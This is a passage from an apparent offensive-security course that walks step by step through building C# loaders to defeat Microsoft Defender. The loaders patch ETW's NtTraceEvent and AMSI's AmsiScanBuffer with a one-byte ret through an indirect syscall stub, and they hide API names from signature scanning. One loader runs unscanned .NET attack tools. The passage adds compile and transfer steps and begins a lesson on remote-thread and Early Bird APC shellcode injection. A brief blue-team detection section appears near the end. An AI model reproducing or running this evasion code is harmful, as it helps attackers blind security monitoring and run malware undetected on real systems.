These two functions are identical to the ones in Loader 03. You have already seen them explained in Document 07. FindSyscallGadget scans ntdll's memory for the bytes 0x0F 0x05 0xC3 (syscall; ret) and returns the address. BuildStub reads the SSN from a named function at offset +4, then writes the 22-byte stub (mov r10,rcx + mov eax,SSN + jmp [rip+0] + gadget address) into the allocated memory. Both functions are in [lab/loaders/07_etw_patch.cs](#).

Building Function Names at Runtime

```
static string GetETWTarget()
{
    int b = 32;
    char[] c = new char[12];
    c[0] = (char)(b+46); // N = 78
    c[1] = (char)(b+84); // t = 116
    c[2] = (char)(b+52); // T = 84
    c[3] = (char)(b+82); // r = 114
```

This builds the string "NtTraceEvent" from integer arithmetic. Each character's ASCII value equals the base (32) plus the offset in the comment. 32 + 46 = 78 = ASCII 'N'. 32 + 84 = 116 = ASCII 't'. 32 + 52 = 84 = ASCII 'T'. And so on for all 12 characters.

```

c[4] = (char)(b+65); // a = 97
c[5] = (char)(b+67); // c = 99
c[6] = (char)(b+69); // e = 101
c[7] = (char)(b+37); // E = 69
c[8] = (char)(b+86); // v = 118
c[9] = (char)(b+69); // e = 101
c[10] = (char)(b+78); // n = 110
c[11] = (char)(b+84); // t = 116
return new string(c);
}

```

When this code runs at runtime, it assembles the string “NtTraceEvent” character by character in the computer’s RAM and passes it to `GetProcAddress`. In the .exe file sitting on your hard drive, there is no string “NtTraceEvent”. There are only integer constants: 32, 46, 84, 52, 82, 65, 67, 69, 37, 86, 69, 78, 84. You can open the compiled .exe in Notepad right now and you will never see the word “NtTraceEvent” because it is never stored as text in the file. Defender opens that .exe, reads the whole thing from start to end, and checks whether any text inside it matches something in its database. “NtTraceEvent” is not there. Neither is “EtwEventWrite”. Defender finds nothing. Loader 07 also has `GetNtdllName()` building “ntdll” and `GetNtProtectName()` building “NtProtectVirtualMemory” from the same technique.

The Patch Function: PatchTelemetry

```

public static bool PatchTelemetry()
{
    string ntdllName = GetNtdllName();
    IntPtr ntdll = GetModuleHandle(ntdllName);
    ...
    IntPtr gadget;
    unsafe { gadget = FindSyscallGadget(ntdll); }
}

```

Step 1 and 2: Find ntdll’s base address and locate the syscall gadget inside it. The gadget address is the `syscall; ret` instruction our stub will jump to.

```

IntPtr stubMem = VirtualAlloc(IntPtr.Zero, (uint)STUB_SIZE,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
...
string protName = GetNtProtectName();
IntPtr stubAddr = BuildStub(ntdll, protName, gadget, stubMem);
var ntProtect = (NtProtectVirtualMemory_t)Marshal.GetDelegateForFunctionPointer(
    stubAddr, typeof(NtProtectVirtualMemory_t));

```

Step 3 and 4: Allocate 22 bytes of memory for the stub, then build the `NtProtectVirtualMemory` stub inside it. `Marshal.GetDelegateForFunctionPointer` wraps the stub address as a callable C# delegate. Calling `ntProtect(...)` will now execute the stub, which jumps to the real `syscall` instruction in `ntdll`.

```

string etwName = GetETWTarget();
IntPtr etwAddr = GetProcAddress(ntdll, etwName);

```

Step 5: Find `NtTraceEvent` inside `ntdll`. `NtTraceEvent` is the underlying NT syscall stub that all ETW wrapper functions (`EtwEventWrite`, `EtwEventWriteFull`, and others) eventually call. Patching this one function silences all of them at once.

```

IntPtr currentProc = (IntPtr)(-1);
IntPtr patchAddr  = etwAddr;
IntPtr patchSize  = (IntPtr)1;
uint oldProtect;
int status = ntProtect(currentProc, ref patchAddr, ref patchSize, PAGE_READWRITE,
↳ out oldProtect);

```

Step 6: Change NtTraceEvent's page protection from read-execute to read-write. The call goes through the indirect stub, which executes the real NtProtectVirtualMemory syscall inside the kernel. VirtualProtect is not called anywhere. The protection change reaches the kernel through the same path as any legitimate call, but without going through ntdll's hooked function start.

```

Marshal.WriteByte(etwAddr, 0xC3);

```

Step 7: Write one byte. 0xC3 is the x86-64 ret instruction. After this single byte overwrites NtTraceEvent's first byte, any call to NtTraceEvent returns immediately. No ETW events are written. Callers of NtTraceEvent do not check its return value, so returning immediately with whatever happens to be in the eax register is functionally equivalent to the traditional xor eax,eax; ret. A single 0xC3 byte is not signaturable - it appears at the end of every function in every binary.

```

IntPtr patchAddr2 = etwAddr;
IntPtr patchSize2 = (IntPtr)1;
uint ignored;
ntProtect(currentProc, ref patchAddr2, ref patchSize2, oldProtect, out ignored);
Console.WriteLine("[+] Page protection restored to original");
return true;
}

```

Step 8: Restore the original page protection via the same indirect stub. After this, NtTraceEvent's page is back to read-execute, which is what it should be.

The Main Function

```

static void Main(string[] args)
{
    Console.WriteLine("[*] Telemetry Patcher");
    Console.WriteLine("[*] Method: NtTraceEvent indirect-syscall patch (single byte)");
    Console.WriteLine("[*] VirtualProtect is NOT imported in this binary.");
    ...
    bool success = PatchTelemetry();

    if (success)
    {
        Console.WriteLine("[+] ETW telemetry is now disabled in this process.");
        Console.WriteLine("[*] Run the scanner patch (Loader 04) next.");
    }
}

```

Main prints the method name (which confirms what the loader does) and calls PatchTelemetry(). If it succeeds, the message reminds you to run Loader 04 next. Because ETW is now dis-

abled, the AMSI patch that runs next will not generate telemetry events that Defender could act on.

9.7.2 The Complete ETW Patch Loader

The full source code is at `lab/loaders/07_etw_patch.cs`.

9.7.3 Part 2: Loader 04 - AMSI Bypass

Now that you understand the ETW patch, the AMSI patch follows the same structure with a few differences.

Windows API Imports and Delegate

```
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr module, string
    ↪ proc);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(
    IntPtr addr, uint size, uint type, uint protect);
[DllImport("kernel32.dll")] static extern IntPtr LoadLibraryA(string name);
```

The first three imports are identical to Loader 07. The fourth import, `LoadLibraryA`, is new. `ntdll.dll` is always loaded into every Windows process, so `GetModuleHandle("ntdll")` always finds it. `amsi.dll` is not always loaded - it only gets loaded into processes that will scan content. A standalone .NET console .exe does not have `amsi.dll` loaded by default. `LoadLibraryA` forces `amsi.dll` into the process so we can find `AmsiScanBuffer` inside it. Notice there is still no `VirtualProtect` import. The protection change goes through the same indirect `NtProtectVirtualMemory` stub as Loader 07.

The delegate type and the `FindSyscallGadget` and `BuildStub` functions are identical to Loader 07.

Building Function Names at Runtime

```
// "amsi.dll" - a(97) m(109) s(115) i(105) .(46) d(100) l(108) l(108)
static string GetAmsiDllName()
{
    int b = 32;
    char[] c = new char[8];
    c[0]=(char)(b+65); // a
    c[1]=(char)(b+77); // m
    c[2]=(char)(b+83); // s
    c[3]=(char)(b+73); // i
    c[4]=(char)(b+14); // .
    c[5]=(char)(b+68); // d
    c[6]=(char)(b+76); // l
    c[7]=(char)(b+76); // l
    return new string(c);
}
```

This builds the string "amsi.dll" from integer arithmetic at runtime. The .exe file sitting on your hard drive contains only the numbers 32, 65, 77, 83, 73, 14, 68, 76, 76. Defender opens that .exe, reads the whole thing from start to end, and checks whether any text matches its database. "amsi.dll" is not there as readable text, only as numbers that produce the string at runtime when the code runs. The period character (.) is ASCII 46, computed as 32 + 14.

LoadLibraryA needs the full filename with the “.dll” extension, which is why the period and all four characters of “dll” are included.

```
// "AmsiScanBuffer" - 14 characters
static string GetAmsiScanBufferName()
{
    int b = 32;
    char[] c = new char[14];
    c[0]=(char)(b+33); // A
    c[1]=(char)(b+77); // m
    c[2]=(char)(b+83); // s
    c[3]=(char)(b+73); // i
    c[4]=(char)(b+51); // S
    c[5]=(char)(b+67); // c
    c[6]=(char)(b+65); // a
    c[7]=(char)(b+78); // n
    c[8]=(char)(b+34); // B
    c[9]=(char)(b+85); // u
    c[10]=(char)(b+70); // f
    c[11]=(char)(b+70); // f
    c[12]=(char)(b+69); // e
    c[13]=(char)(b+82); // r
    return new string(c);
}
```

This builds “AmsiScanBuffer” character by character at runtime, 14 characters total. The .exe file on your hard drive contains only the integer offsets. You can open that compiled .exe in Notepad right now and you will never see “AmsiScanBuffer” as readable text because it is never stored as a string in the file. Defender opens that .exe, reads the whole thing from start to end, and checks whether any text matches its database. “AmsiScanBuffer” is simply not there. Loader 04 also has GetNtdllName() and GetNtProtectName() identical to Loader 07.

The Patch Function: PatchScanner

```
public static bool PatchScanner()
{
    string ntdllName = GetNtdllName();
    IntPtr ntdll = GetModuleHandle(ntdllName);
    ...
    IntPtr gadget;
    unsafe { gadget = FindSyscallGadget(ntdll); }
    ...
    IntPtr stubMem = VirtualAlloc(IntPtr.Zero, (uint)STUB_SIZE,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    string protName = GetNtProtectName();
    IntPtr stubAddr = BuildStub(ntdll, protName, gadget, stubMem);
    var ntProtect = (NtProtectVirtualMemory_t)Marshal.GetDelegateForFunctionPointer(
        stubAddr, typeof(NtProtectVirtualMemory_t));
```

Steps 1 through 4 are identical to Loader 07: find ntdll, find the syscall gadget, allocate 22 bytes, build the NtProtectVirtualMemory stub. The stub is now ready to use for the protection change.

```

string amsiDll = GetAmsiDllName();
IntPtr amsiBase = LoadLibraryA(amsiDll);
...
string funcName = GetAmsiScanBufferName();
IntPtr amsiScanBuf = GetProcAddress(amsiBase, funcName);

```

Step 5: Load `amsi.dll` and find `AmsiScanBuffer` inside it. `LoadLibraryA` maps `amsi.dll` into this process if it was not already there, and returns the base address. `GetProcAddress` then looks up `AmsiScanBuffer` inside that base address and returns the exact memory location of the function's first byte.

```

IntPtr currentProc = (IntPtr)(-1);
IntPtr patchAddr = amsiScanBuf;
IntPtr patchSize = (IntPtr)1;
uint oldProtect;
int status = ntProtect(currentProc, ref patchAddr, ref patchSize, PAGE_READWRITE,
↳ out oldProtect);

```

Step 6: Change `AmsiScanBuffer`'s page protection from read-execute to read-write. The call goes through the indirect `NtProtectVirtualMemory` stub, exactly the same as `Loader 07` changed `NtTraceEvent`'s protection. `VirtualProtect` is never called directly.

```

Marshal.WriteByte(amsiScanBuf, 0xC3);
Console.WriteLine("[+] Patch applied: single byte ret at AmsiScanBuffer");

```

Step 7: Write one byte. `0xC3` is `ret`. After this, `AmsiScanBuffer` returns immediately without scanning anything. The `amsiResult` output parameter is never written by the function, so it keeps whatever value the caller put there before calling (the CLR initializes it to 0, which is `AMSI_RESULT_CLEAN`). The CLR checks: if `amsiResult >= AMSI_RESULT_DETECTED` (32768), block the content. 0 is less than 32768, so the content passes.

```

IntPtr patchAddr2 = amsiScanBuf;
IntPtr patchSize2 = (IntPtr)1;
uint ignored;
ntProtect(currentProc, ref patchAddr2, ref patchSize2, oldProtect, out ignored);
Console.WriteLine("[+] Page protection restored");
return true;
}

```

Step 8: Restore the original page protection via the same indirect stub.

The Main Function and Optional Assembly Loading

```

static void Main(string[] args)
{
    Console.WriteLine("[*] Scanner Patch Loader");
    Console.WriteLine("[*] Method: AmsiScanBuffer indirect-syscall patch (single
↳ byte)");
    Console.WriteLine("[*] VirtualProtect is NOT imported in this binary.");
    ...
    bool success = PatchScanner();
}

```

```

if (success)
{
    Console.WriteLine("[+] Scanner is now disabled in this process.");
    Console.WriteLine("[+] .NET assemblies loaded here will not be inspected.");
}

```

Main calls PatchScanner(). If it succeeded, AMSI is disabled in this process.

```

if (args.Length > 0)
{
    string assemblyPath = args[0];
    Console.WriteLine("[*] Loading assembly: " + assemblyPath);
    var asm = Assembly.LoadFile(assemblyPath);
    var ep = asm.EntryPoint;
    if (ep != null)
    {
        string[] passArgs = new string[args.Length - 1];
        Array.Copy(args, 1, passArgs, 0, passArgs.Length);
        ep.Invoke(null, ep.GetParameters().Length > 0
            ? new object[] { passArgs } : null);
    }
}
}
}
}

```

Loader 04 has an optional feature. If you pass a file path as the first argument, it loads that .NET assembly into the current process after patching AMSI. Because AMSI is already disabled in this process, the loaded assembly will not be scanned by Defender. This lets you run .NET red team tools (Rubeus, Seatbelt, SharpHound, etc.) that Defender would normally block. Assembly.LoadFile maps the .exe or .dll into the running process. EntryPoint finds the Main method. Invoke calls it with any extra arguments you passed on the command line.

9.7.4 The Complete AMSI Bypass Loader

The full source code is at [lab/loaders/04_amsi_bypass.cs](#).

9.8 Compilation and Execution

9.8.1 Step 1: Compile Both Loaders on the Dev Box

On the dev box (ammulu, 192.168.10.150), open Command Prompt.

Create and compile the ETW patch:

```
dotnet new console -n Loader07
```

Replace `Loader07\Program.cs` with the code from `07_etw_patch.cs`, then:

```
dotnet publish Loader07 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output07
```

The binary is at `output07\Loader07.exe`.

Create and compile the AMSI bypass:

```
dotnet new console -n Loader04
```

Replace `Loader04\Program.cs` with the code from `04_amsi_bypass.cs`, then:

```
dotnet publish Loader04 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output04
```

The binary is at `output04\Loader04.exe`.

The `/unsafe` flag is needed because both loaders use `Marshal.Copy` to write to unmanaged memory addresses. Expected output for both: the compiler produces the `.exe` file with no errors.

9.8.2 Step 2: Transfer Both Files to the Target

On the dev box (ammulu), host both files:

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100), download both:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/etw_patch.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\etw_patch.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/amsi_bypass.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\amsi_bypass.exe"
```

Defender scans both files when they hit the disk. Neither triggers a detection because their import tables are clean and no suspicious strings exist in the binaries.

9.8.3 Step 3: Run the ETW Patch First

On the target (kimjongun, 192.168.10.100), open a Command Prompt and run:

```
cd C:\Users\kimjongun\Desktop
etw_patch.exe
```

Expected output:

```
[*] Telemetry Patcher
[*] Method: NtTraceEvent indirect-syscall patch (single byte)
[*] VirtualProtect is NOT imported in this binary.

[+] ntdll base: 0x7FFE12340000
[+] Syscall gadget at: 0x7FFE12345100
[+] Stub memory at: 0x1A2B3C4D5E60
[+] NtProtectVirtualMemory stub built
[+] NtTraceEvent at: 0x7FFE1234ABCD
[+] Memory changed to RW
[+] Patch applied: single byte ret at NtTraceEvent
[+] Page protection restored to original

[+] ETW telemetry is now disabled in this process.
[+] No events will be written by this process.
[+] Monitoring products receive no activity from here.

[*] Run the scanner patch (Loader 04) next.
```

The actual memory addresses will be different on your system. The important lines are “[+] Patch applied: single byte ret at NtTraceEvent” and “[+] Page protection restored to original”, which confirm the patch was written and the cleanup was done.

Remember: This patch only affects the etw_patch.exe process. Once it exits, the patch is gone. This standalone run is for testing and learning. In a real operation, you would integrate the patch function into your main loader (which is what Loader 08 does in Document 10).

9.8.4 Step 4: Run the AMSI Bypass

On the target (kimjongun, 192.168.10.100), in a new Command Prompt window:

```
cd C:\Users\kimjongun\Desktop
amsi_bypass.exe
```

Expected output:

```
[*] Scanner Patch Loader
[*] Method: AmsiScanBuffer indirect-syscall patch (single byte)
[*] VirtualProtect is NOT imported in this binary.

[+] ntdll base: 0x7FFE12340000
[+] Syscall gadget at: 0x7FFE12345100
[+] NtProtectVirtualMemory stub built
[+] amsi.dll at: 0x7FFE98760000
[+] AmsiScanBuffer at: 0x7FFE98765432
[+] Memory changed to RW
[+] Patch applied: single byte ret at AmsiScanBuffer
[+] Page protection restored

[+] Scanner is now disabled in this process.
[+] .NET assemblies loaded here will not be inspected.
```

Again, the actual addresses will vary. The key confirmation is that amsi.dll was found, AmsiScanBuffer was located, and the patch was applied.

9.8.5 Step 5: Test the AMSI Bypass (Optional but Recommended)

To verify that the AMSI patch actually works, you can test it with a PowerShell string that Defender normally blocks. This requires a more complex test setup because the AMSI patch only works in the process that applied it. Running amsi_bypass.exe and then opening a separate PowerShell window does not help because the new PowerShell process has its own unpatched copy of amsi.dll.

The proper way to test is to use the assembly loading feature. If you have a .NET red team tool (a compiled .exe that Defender normally blocks), you can load it through amsi_bypass.exe:

```
amsi_bypass.exe C:\Users\kimjongun\Desktop\some_tool.exe
```

The tool will load and run inside the amsi_bypass.exe process where AMSI is patched, so Defender will not scan it. If you ran the same tool directly (double-clicking it or running it from cmd), AMSI would scan it and potentially block it.

For now, confirming the patch applied without errors is sufficient. Document 10 integrates the AMSI and ETW patches into the combined evasion loader where you will see the full effect.

9.9 Confirming Success

For each loader, confirm three things:

9.9.1 ETW Patch (Loader 07):

1. **Output shows “[+] Patch applied: single byte ret at NtTraceEvent” and “[+] Page protection restored to original”.** This confirms the patch was written and cleaned up.
2. **No Defender alerts.** Open Windows Security on the target (kimjongun). Go to Virus & threat protection, then Protection history. There should be no entries for Loader07.exe.
3. **The process ran to completion without crashing.** If the process crashes after patching, the function address was wrong or the SSN read failed. A successful patch means NtTraceEvent's first byte was correctly overwritten and the process continued running normally.

9.9.2 AMSI Bypass (Loader 04):

1. **Output shows “[+] Patch applied to AmsiScanBuffer” and “[+] Memory protection restored”.** Same confirmation as above.
2. **No Defender alerts.** No entries in Protection history for amsi_bypass.exe.
3. **If you loaded a .NET assembly through the loader,** it ran without AMSI blocking it. If the assembly ran and produced output, AMSI was successfully disabled.

9.9.3 Verification with ETW Logging (Advanced)

If you want to confirm that the ETW patch actually stopped events from being generated, you can check with the built-in Windows logman tool before and after patching. This is optional and not needed for the curriculum, but it confirms the patch works at the system level.

On the target (kimjongun), before running the ETW patch, open a PowerShell window and run:

```
logman query providers | Select-String "Microsoft-Windows-DotNETRuntime"
```

This shows that the .NET ETW provider is registered and active. After the ETW patch is applied (in the same process), events from that process to this provider will stop. The provider is still registered (logman will still show it), but EtwEventWrite in the patched process will not send events to it.

9.10 What Was Gained

After this document, you can:

- Explain what ETW is and why Defender uses it to detect malicious behavior
- Explain what AMSI is and how it scans .NET code and PowerShell commands at runtime
- Patch EtwEventWrite to stop your process from generating telemetry
- Patch AmsiScanBuffer to stop your process from scanning loaded code
- Build function names and DLL names from integer offsets to avoid static signatures
- Use an indirect NtProtectVirtualMemory syscall stub to make code memory writable without importing VirtualProtect
- Understand why ETW must be patched before AMSI (to prevent the AMSI patch from being logged)

Combined with what you learned in previous documents, you have now addressed five of Defender's six detection layers:

Layer	How it is addressed	Which document/loader
Static file scanning	XOR encryption of shellcode	Document 06, Loader 02
Import table analysis	Dynamic resolution via GetProcAddress	Document 07, Loader 03
AMSI runtime scanning	Patching AmsiScanBuffer	This document, Loader 04
ETW telemetry	Patching NtTraceEvent	This document, Loader 07
Behavioral ML	Two-step allocation, clean imports	Document 07, Loader 03
API hooks in ntdll.dll	Not yet addressed	Document 09 (partial), Document 10 (combined)

Document 09 teaches process injection techniques (Loader 05 and Loader 06) that let you execute code inside other processes. Document 10 combines everything into Loader 08, which patches ETW, patches AMSI, and executes shellcode with dynamic resolution in a single binary that survives Defender completely.

9.11 Common Threats and Variations

9.11.1 Variation 1: Patching AmsiOpenSession Instead of AmsiScanBuffer

AmsiScanBuffer is the most commonly patched function, and because of that, some security products specifically watch for modifications to it. An alternative target is AmsiOpenSession, which is the function that initializes an AMSI scanning session. If you patch AmsiOpenSession to return an error, no scanning session is ever opened, so AmsiScanBuffer is never called.

The patch bytes are similar: set EAX to an error code and return. The difference is that you target a different function address. Some red team tools use AmsiOpenSession patching because fewer detection rules target it compared to AmsiScanBuffer.

When this variation would fail: if a security product monitors both functions for modifications, patching either one triggers detection.

9.11.2 Variation 2: Overwriting the AMSI Context Structure

Instead of patching the function code, you can corrupt the AMSI context structure in memory. Every AMSI-enabled process has a context object (AMSI_CONTEXT) that stores the state of the AMSI interface. If you overwrite the context with invalid data, every call to AmsiScanBuffer fails because the context it receives is corrupted. The function returns an error without scanning.

The benefit is that you are not modifying executable code, which is what most integrity checks look for. You are modifying a data structure, which is harder to detect. The downside is that the context structure's layout can change between Windows updates, so the offset you need to corrupt may differ.

9.11.3 Variation 3: Patching ETW via NtTraceEvent Instead of EtwEventWrite

EtwEventWrite is the high-level ETW function in ntdll.dll. Under it, there is a lower-level function called NtTraceEvent that actually performs the kernel transition. Patching NtTraceEvent instead of EtwEventWrite covers more ground because there are other ETW functions (EtwEventWriteEx, EtwEventWriteFull, EtwEventWriteTransfer) that all go through NtTraceEvent. Patching at the NtTraceEvent level disables all of them.

The risk is that `NtTraceEvent` is a lower-level function that is used by more components. Patching it could cause stability issues in some processes that rely on ETW for their own internal logging (not security-related).

9.12 Detection and Defense (Blue Team Perspective)

Monitor for `VirtualProtect` calls on system DLL code sections. When a process calls `VirtualProtect` on a memory region that belongs to `ntdll.dll` or `amsi.dll`, that is a strong signal of function patching. Legitimate programs almost never modify system DLL code in their own process.

Blue team action: configure your EDR to alert when `VirtualProtect` is called with a target address inside `ntdll.dll` or `amsi.dll` and the new protection includes write permissions (`PAGE_READWRITE` or `PAGE_EXECUTE_READWRITE`).

Verify AMSI integrity at runtime. Microsoft provides the `AmsiInitialize` API that security products can call to verify that the AMSI interface is working correctly. A security product can periodically call `AmsiScanBuffer` with a known-malicious test string (the EICAR test string) and check that the result is “malicious”. If the result is “clean” or an error, AMSI has been tampered with.

Blue team action: deploy an agent that periodically tests AMSI functionality in running processes. If AMSI stops detecting the test string in a process, flag that process for investigation.

Use kernel-mode ETW providers. The user-mode `EtwEventWrite` patch does not affect kernel-mode ETW providers. The Microsoft-Windows-Threat-Intelligence provider runs in the kernel and logs events like process creation, image loads, and virtual memory operations from kernel space. These events cannot be suppressed from user mode.

Blue team action: deploy EDR products that consume kernel-mode ETW events (via the Threat Intelligence provider) rather than relying solely on user-mode telemetry. This defeats the user-mode ETW patch.

Compare `ntdll.dll` in memory against the on-disk copy. Defender and some EDR products periodically compare the loaded copy of `ntdll.dll` in a process against the file on disk. If the in-memory copy has been modified (bytes differ from the disk copy), the process is flagged. This technique catches both the ETW and AMSI patches.

Blue team action: enable or deploy DLL integrity checking that compares in-memory DLL code sections against the on-disk originals. Alert on any differences in `ntdll.dll` or `amsi.dll`.

9.13 What Comes Next

Document 09 ([lab/materials/09_reflective_injection.md](#)) teaches process injection. Loader 05 (reflective DLL injector) and Loader 06 (Early Bird APC injection) let you execute code inside another process's memory space. These techniques let your malicious code run under the identity of a legitimate process (like `explorer.exe` or `svchost.exe`), which makes it harder for Defender to distinguish your code from legitimate process behavior. Document 09 covers techniques that Defender catches when used alone, but that become powerful when combined with the patches from this document.

Document 09: Process Injection - Running Code Inside Legitimate Processes

10.1 Where We Are

You finished Documents 05 through 08. You have built five loaders so far:

- **Loader 01** (Document 05): Raw shellcode loaded via DllImport. Caught by Defender.
- **Loader 02** (Document 06): XOR-encrypted shellcode. The encrypted file survived disk scanning, but the loader binary was still caught.
- **Loader 03** (Document 07): Dynamic resolution, NT-level functions, two-step allocation, XOR encryption. First loader to survive Defender. You got a callback.
- **Loader 04** (Document 08): AMSI bypass. Patches AmsiScanBuffer so .NET code and PowerShell commands are not scanned.
- **Loader 07** (Document 08): ETW patch. Patches EtwEventWrite so your process stops generating telemetry that Defender reads.

Your C# knowledge at this point:

- DllImport and P/Invoke for calling Windows API functions
- VirtualAlloc, Marshal.Copy, VirtualProtect, CreateThread for memory operations
- Delegates for calling functions through memory addresses
- GetModuleHandle, GetProcAddress, LoadLibrary for dynamic function resolution
- Building strings and bytes from arithmetic to avoid static signatures
- XOR encryption and decryption
- Patching system functions (AmsiScanBuffer, NtTraceEvent) by overwriting their first byte

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners.

10.2 Why This Is Next

Every loader you have built so far runs shellcode inside its own process. When you run `syscall_loader.exe` on the target, Defender sees a new process called `syscall_loader.exe` that

allocates memory, creates a thread, and makes a network connection. Even though Loader 03 survives Defender at default sensitivity, the process name itself is suspicious. Your binary is an unknown executable that appeared from nowhere and is now making outbound connections. If a security analyst looks at running processes, `syscall_loader.exe` stands out because it is not a program anyone recognizes.

Process injection solves this problem. Instead of running shellcode in your own process, you inject it into a process that is already running and that everyone expects to see. If your shellcode runs inside `explorer.exe` (the Windows desktop process) or `svchost.exe` (a system service host), it inherits that process's name, its process tree, and its network permissions. A security analyst looking at running processes sees `explorer.exe` making a network connection, which is normal behavior for `explorer.exe`. Your shellcode is invisible inside a legitimate process.

This document teaches two process injection techniques:

1. **Loader 05 (Remote Thread Injection):** Find an already-running process, allocate memory inside it, write your shellcode there, and create a thread in that process to execute it. This is the most straightforward form of process injection.
2. **Loader 06 (Early Bird APC Injection):** Create a new legitimate process in a suspended state (paused before it starts running), write your shellcode into its memory, queue the shellcode to execute before the process's own code, and resume the process. Your shellcode runs first, before the legitimate program even starts.

Important: Both of these loaders are caught by Defender when used alone. Defender specifically monitors for the API patterns these loaders use (`OpenProcess` + `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread`, and `CreateProcess` suspended + `VirtualAllocEx` + `QueueUserAPC` + `ResumeThread`). Defender has behavioral rules for these patterns because they are well-known injection techniques.

These loaders become useful when combined with the ETW and AMSI patches from Document 08. If you patch ETW before injecting, Defender does not receive the telemetry about the injection. If you combine injection with dynamic resolution (Loader 03's technique), the import table is clean. Document 10 puts everything together into a single loader that patches ETW, patches AMSI, and then performs injection, all of which together survives Defender.

For this document, you will run each loader standalone to learn how process injection works. Expect Defender to catch them. The goal is to understand the technique so you can use it effectively in Document 10.

10.3 How This Works

10.3.1 What is a Process?

A process is a running program. When you double-click `notepad.exe`, Windows creates a process for Notepad. That process gets its own block of memory (called a virtual address space), its own set of handles (connections to files, network sockets, devices), and one or more threads that execute code.

Every process on Windows has a Process ID (PID), which is a number that uniquely identifies it while it is running. You can see all running processes in Task Manager. Each process runs independently and normally cannot access another process's memory.

The key word is “normally”. Windows provides API functions that let one process read and write another process's memory, create threads inside another process, and allocate memory inside another process. These APIs exist for legitimate reasons (debuggers, profilers, accessibility tools), but they are also what makes process injection possible.

10.3.2 Remote Thread Injection (Loader 05)

Remote thread injection is the most basic form of process injection. The steps are:

1. **Find the target process.** Pick a process that is already running and that you want to inject into. Good choices are processes that normally make network connections (explorer.exe, svchost.exe) because your shellcode will make a reverse connection to Kali.
2. **Open the target process.** Use `OpenProcess` with `PROCESS_ALL_ACCESS` to get a handle that lets you do anything to the process (read memory, write memory, create threads).
3. **Allocate memory inside the target process.** Use `VirtualAllocEx` (the “Ex” stands for extended, meaning it works on another process instead of your own process). This creates a block of memory inside the target process that you can write to.
4. **Write your shellcode into that memory.** Use `WriteProcessMemory` to copy your shellcode bytes from your process into the memory block you just allocated inside the target process.
5. **Change the memory protection.** Use `VirtualProtectEx` to change the memory from writable (`PAGE_READWRITE`) to executable (`PAGE_EXECUTE_READ`). This is the two-step allocation from Loader 03, but applied to another process.
6. **Create a remote thread.** Use `CreateRemoteThread` to create a new thread inside the target process. The thread starts executing at the address where you wrote your shellcode. From the target process’s perspective, it now has an extra thread that is running code from its own memory.

After the injection, your shellcode is running inside the target process. If you injected into explorer.exe, the Meterpreter connection comes from explorer.exe’s PID. Task Manager shows explorer.exe as the process using the network.

10.3.3 Early Bird APC Injection (Loader 06)

Remote thread injection works well, but it has a limitation: the target process is already running and might already have security monitoring hooks loaded inside it. Some EDR products inject their own monitoring DLLs into every running process. By the time you inject your shellcode into explorer.exe, the EDR’s monitoring code is already there watching what happens.

Early Bird injection solves this by getting your code to run before any monitoring hooks are set up. Instead of injecting into a process that is already running, you create a brand new process but tell Windows to pause it immediately (before it runs any code). Then you write your shellcode into the paused process’s memory and tell Windows “when this process resumes, run my code first.” When you unpause the process, your shellcode runs at the very beginning of the process’s life, before any security product has a chance to inject its monitoring hooks. Your code runs in a clean process with no watchers.

This works because of a Windows feature called APC, which stands for Asynchronous Procedure Call. APC lets you queue a function to run on a specific thread. When a thread is created in a suspended state (paused), it is in what Windows calls an “alertable” state by default. When a suspended thread resumes, Windows checks if any APCs have been queued on it and runs them first. So if you queue your shellcode as an APC on the paused thread and then resume the thread, your shellcode executes before the process’s own code starts.

The steps are:

1. **Create a process in suspended state.** Use `CreateProcess` with the `CREATE_SUSPENDED` flag. Windows creates the process, sets up its memory space, and loads the executable image, but the main thread is paused. No code has run yet.
2. **Allocate memory inside the suspended process.** Use `VirtualAllocEx` to create a memory block for your shellcode.

3. **Write your shellcode into that memory.** Use `WriteProcessMemory` to copy the shellcode bytes.
4. **Change the memory protection.** Use `VirtualProtectEx` to make the memory executable.
5. **Queue the APC.** Use `QueueUserAPC` to add your shellcode's address as an APC on the suspended thread. This tells Windows: "the next time this thread resumes and checks for APCs, run the function at this address".
6. **Resume the thread.** Use `ResumeThread` to unpause the main thread. Windows processes the queued APCs first. Your shellcode runs. After your shellcode finishes (or if it is a long-running payload like Meterpreter, it keeps running), the thread continues with the legitimate program's initialization.

The "Early Bird" name comes from the fact that your code runs at the very beginning of the process's life, before any security products have a chance to inject their monitoring hooks into the process. Some EDR products inject their monitoring DLLs during process initialization. If your code runs before that initialization completes, the EDR hooks are not in place yet and cannot see your shellcode execute.

10.3.4 Why These Get Caught by Defender Alone

Defender has specific behavioral rules for both of these patterns:

Remote Thread Injection detection: Defender watches for the sequence `OpenProcess` + `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread`. When your loader calls these functions, Defender's API hooks in `ntdll.dll` intercept each call. The hooks record the parameters: which process was opened, how much memory was allocated, what was written, and where the new thread starts. When Defender sees this complete sequence targeting another process, it scores the behavior as malicious and blocks the thread creation or terminates the injecting process.

Early Bird APC detection: Defender watches for the sequence `CreateProcess(SUSPENDED)` + `VirtualAllocEx` + `WriteProcessMemory` + `QueueUserAPC` + `ResumeThread`. This is a known attack pattern that Defender's behavioral engine specifically targets. The `CREATE_SUSPENDED` flag on its own is not suspicious (legitimate programs use it), but combined with memory allocation, writing, and APC queuing, the pattern matches Defender's rules.

When these loaders are combined with ETW patching (Loader 07), the telemetry that feeds Defender's behavioral engine is disabled. Without ETW events, Defender does not see the API call sequence, and the injection succeeds.

10.4 What Defender Does

